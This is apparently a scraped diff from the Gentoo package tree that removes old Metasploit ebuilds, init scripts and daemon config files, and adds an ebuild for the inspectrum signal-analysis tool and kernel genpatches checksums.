@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
VERSION=4.2
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
VERSION=4.3
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

@ -1,13 +0,0 @@
# Config file for /etc/init.d/metasploit
# Pidfile
PIDFILE=/var/run/msfweb.pid
# Bind to the following IP instead of the loopback address
IPADDR=127.0.0.1
# Bind to the following TCP port instead of default 55555
PORT=55555
# All options
MSF_OPTS="-a $IPADDR -p $PORT"

@ -1,18 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2005 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
start() {
ebegin "Starting msfweb"
start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \
--pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfweb"
start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
rm -f ${PIDFILE}
eend $?
}

@ -1,48 +0,0 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
MY_P="${P/metasploit/framework}"
S="${WORKDIR}/${MY_P}"
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SRC_URI="http://metasploit.com/tools/${MY_P}.tar.gz"
LICENSE="GPL-2 Artistic"
SLOT="0"
KEYWORDS="amd64 ppc x86"
IUSE=""
RDEPEND="dev-lang/perl
dev-perl/Net-SSLeay
dev-perl/Term-ReadLine-Perl
dev-perl/TermReadKey"
src_install() {
dodir /usr/lib/
dodir /usr/bin/
# should be as simple as copying everything into the target...
cp -pPR "${S}" "${D}"usr/lib/metasploit || die
# and creating symlinks in the /usr/bin dir
cd "${D}"/usr/bin
ln -s ../lib/metasploit/msf* ./ || die
chown -R root:0 "${D}"
newinitd "${FILESDIR}"/msfweb.initd msfweb || die "newinitd failed"
newconfd "${FILESDIR}"/msfweb.confd msfweb || die "newconfd failed"
}
pkg_postinst() {
elog "To update metasploit modules run:"
elog " # cd /usr/lib/metasploit && svn update"
}
pkg_postrm() {
if [[ -d /usr/lib/metasploit ]] ; then
ewarn "If you ever updated modules emerge will keep /var/lib/metasploit"
ewarn "directory. Thus to remove metasploit completely do not forgive to:"
ewarn " # rm -r /usr/lib/metasploit"
fi
}

@ -0,0 +1 @@
DIST inspectrum-0.1.tar.gz 151125 SHA256 30eeec26166e41fe2d8007b0042420602d9920bcd4ccf0f74ea1fd64dfc93bfe SHA512 f451a7d9d6fda95f6b0c1c03fc5679c859331df5df85d2f378648e95d8db94552bc2b237d552e705db302841dbab87bfa61f799886108ec1e4ba78df4beae441 WHIRLPOOL b2f35c6bef7af93fb6a3c71cc9c8718c5a8da63e649f574bfb53149cce7688a1ba2b37c5e0885f3be9d2de18d72ed376f12100308f08b2f5c0ca241bd700c997

@ -0,0 +1,29 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=5
inherit cmake-utils
DESCRIPTION="a tool for analysing captured signals, primarily from software-defined radio receivers"
HOMEPAGE="https://github.com/miek/inspectrum"
if [[ ${PV} == "9999" ]] ; then
inherit git-r3
EGIT_REPO_URI="https://github.com/miek/inspectrum.git"
KEYWORDS=""
else
SRC_URI="https://github.com/miek/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
KEYWORDS="~amd64 ~x86"
fi
LICENSE="GPL-3+"
SLOT="0"
IUSE=""
RDEPEND="sci-libs/fftw:3.0=
dev-qt/qtwidgets:5
dev-qt/qtgui:5
dev-qt/qtcore:5"
DEPEND="virtual/pkgconfig
${RDEPEND}"

@ -5,16 +5,20 @@
EAPI=5
inherit cmake-utils
inherit git-r3
DESCRIPTION="a tool for analysing captured signals, primarily from software-defined radio receivers"
HOMEPAGE="https://github.com/miek/inspectrum"
SRC_URI=""
EGIT_REPO_URI="https://github.com/miek/inspectrum.git"
if [[ ${PV} == "9999" ]] ; then
inherit git-r3
EGIT_REPO_URI="https://github.com/miek/inspectrum.git"
KEYWORDS=""
else
SRC_URI="https://github.com/miek/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
KEYWORDS="~amd64 ~x86"
fi
LICENSE="GPL-3+"
SLOT="0"
KEYWORDS=""
IUSE=""
RDEPEND="sci-libs/fftw:3.0=
@ -23,7 +27,3 @@ RDEPEND="sci-libs/fftw:3.0=
dev-qt/qtcore:5"
DEPEND="virtual/pkgconfig
${RDEPEND}"
src_install() {
dobin "${BUILD_DIR}"/inspectrum
}

@ -238,10 +238,6 @@ app-portage/lightweight-cvs-toolkit
# experimental features and accept a more unstable release.
>=www-client/chromium-47
# Rick Farina <zerochaos@gentoo.org> (04 Sep 2015)
# Ancient, please upgrade to ~arch version
=net-analyzer/metasploit-2.7
# Michael Palimaka <kensington@gentoo.org> (01 Sep 2015)
# Fails to build (bug #559330). Dead upstream.
# Masked for removal in 30 days.

@ -50,6 +50,9 @@ DIST genpatches-3.14-60.extras.tar.xz 18256 SHA256 98f631421c5faa472fd4f9054d173
DIST genpatches-3.18-21.base.tar.xz 632956 SHA256 f657997b05dc52e215c22fde16cb227895d072ac2716d25481654849a9e373f1 SHA512 f1dac401caf1cd6282fc47670ad9e3540855542d7eee77f27231bdb9679d3da07b7b09f675ce5998aa777024817546ba8747c7d75aa45cbeb2789dbabf5c5602 WHIRLPOOL 26d19e9302ffd72123c897f7012ae6d81cbab7a7d1b498d10b6aef27fd5e7f4d466fb510c6e72ef3c5f855eb9c88e80f8adbf436e80d52dcbcf1ac1f3e1bf684
DIST genpatches-3.18-21.experimental.tar.xz 61600 SHA256 ebee995e505d68dcf95f39986b73185b353cc64627b048f230e755195a910094 SHA512 d7866e7948e8d6c83a452f99ca50ed06951f68b7552d9dc182c5686d43abe3dc76e3773c8325a87b65e8bf1fa4c09db75fc1af27b7837bb60918e82273cc17e4 WHIRLPOOL 01f897a369a036624364de57b1ea213b8bbe1b1e9bea792e45e0e5b921c3cff0a88174c3284359466059e3dc3793a51ea92a1aa4a5c7b0dd79d98e99693ccd80
DIST genpatches-3.18-21.extras.tar.xz 16192 SHA256 76e21081cdcb3c1b38632ec5375b456287ed572c1a3cb64cc036471a4ae4f726 SHA512 c1e98a5d2350b07a5d939863386027765c8820e32a45a9c68201beb6de811aadcd32c82ef8ef0627290f6fef7ad5751418b2aa7ab4e2d8f3e5b6683e40fbc80a WHIRLPOOL b39979d760f0695fb2632bf7fbed16070e24efa03992c0575bbd13185ab33f0e2d05e35071e9f352f0eaa83e15015550229c33df2294beebe2ef6d24fa2b755e
DIST genpatches-3.18-22.base.tar.xz 651380 SHA256 9c866ac44e0c716a5292c3ec907fc52edfce1a32d75cbc63e51f2adbd10067d0 SHA512 d1183150a2ee641714dc85c873713936d862688d4314a6906a25943bbfb34566fe5d0e838d61eba2fc369a657aa762f6276a2a31a5c4e2e9429db4330a0fa03a WHIRLPOOL 22d358be0bfd836ded82b5fc347f5bc266186ee0374120f2def7e6d8c4e87c43ab364eb64c6b141ee8d0705912ebc12f5525694c7d6fcbc9da38c0012ed09da2
DIST genpatches-3.18-22.experimental.tar.xz 61604 SHA256 a216f6a678d83ca91283adddaef52face5980718cc7eae9d8764f782422771c8 SHA512 aa2819419490a7ea0ac06179c07a2139e671877b4a5109c019c8931f21069e4d313c75279b679a76ead8381bc1f709a77b8eb19da27f3d5e8d4d4fb97a0ae5c3 WHIRLPOOL fb4364fc476edac40019c1215c5ba94e29ffd003aae37cb8bb642008e2f0a853ec174c4495699a2c7984dd190d895aeab17cae3ab6c6045ff497c07716a46939
DIST genpatches-3.18-22.extras.tar.xz 16196 SHA256 deeab880c0705b9a02492e2e73152614b7c7dd9f213303fd5284ee07debf0416 SHA512 5ba6d42c5973daa52a54bc77f3f13312d9c6f496e002ab2ad613a08f18ee64dad39472ec0cdb0e545b2c95aee0d69fd30c38877d15f266768a22fabb8a06e2a3 WHIRLPOOL 84092c11122198958498e26d3c4fccbf06451ff9c880510f763968644d03c30160f01090c2bc5b411cb813715083682b90b750401ffd7c8f011ae24f203e90c0
DIST genpatches-3.4-90.base.tar.xz 1325696 SHA256 77764d0afc0e3a9db3b4e3314c86505ed8703834f8364fabf7bc21004d14425b SHA512 df2583e5a939a2ae9a2fade243b128ad3b1d4f7370407bca15ad1dca2defde271ede16daa8c01f844053af5da7a5cfbb7ea04839fe93a4a21fe87d1d8551374f WHIRLPOOL 17050e7e73b15106fb1831290a685810e65e41a345669e401ab324a3fa27576d02cb17e22b3f8c36961b501b31254cef82d849cac005504b8feb5b4113d9cbc3
DIST genpatches-3.4-90.extras.tar.xz 18236 SHA256 787d5a43bbadfcb40ac5f7aed21aca6bba239bcf495b0d051380f675487ecb42 SHA512 9917f83e64c0705e0c810723ada2f14109d29cee03576027fb234229796c024d8092abbb91406e2ff9594e9e1840f718885e9e0ff294cdb2bfb0ef76fbcfde0d WHIRLPOOL 255b4f46bd3f0685f6903eb04be187dfa3f821318c7bb8ae48fb17c35eabd88d0f14684f6031326cea4935246acd0766abe6e7363f1a527af686c7fa965cf9d3
DIST genpatches-3.4-91.base.tar.xz 1363016 SHA256 14bf3a56d4444ae5a9c307c2bbf2cccda44b5bb8f7c460ef9711b858bc8475b0 SHA512 f28f86bb302313b13c2de08d227e0bd0ca93ab5dd2071b6c0797c9b7e29f84b7abe2266c93bba15789a51d6d77c70b749105b5d4a1f7053b041ebd9eb5a80df5 WHIRLPOOL 8535d191d5482773a6d9aa8d45a6b8614b3ba936fc043e7ae5d52ee676ff89a65457c531bb14ce2ea447cb26083efc50c6748c04412b7d6b1a1c76d1d52a2ed6

@ -0,0 +1,29 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
EAPI="5"
ETYPE="sources"
K_WANT_GENPATCHES="base extras experimental"
K_GENPATCHES_VER="22"
K_DEBLOB_AVAILABLE="1"
inherit kernel-2
detect_version
detect_arch
KEYWORDS="~alpha ~amd64 ~arm ~arm64 -hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
HOMEPAGE="https://dev.gentoo.org/~mpagano/genpatches"
IUSE="deblob experimental"
DESCRIPTION="Full sources including the Gentoo patchset for the ${KV_MAJOR}.${KV_MINOR} kernel tree"
SRC_URI="${KERNEL_URI} ${GENPATCHES_URI} ${ARCH_URI}"
pkg_postinst() {
kernel-2_pkg_postinst
einfo "For more info on this patchset, and how to report problems, see:"
einfo "${HOMEPAGE}"
}
pkg_postrm() {
kernel-2_pkg_postrm
}
Loading…
Cancel
Save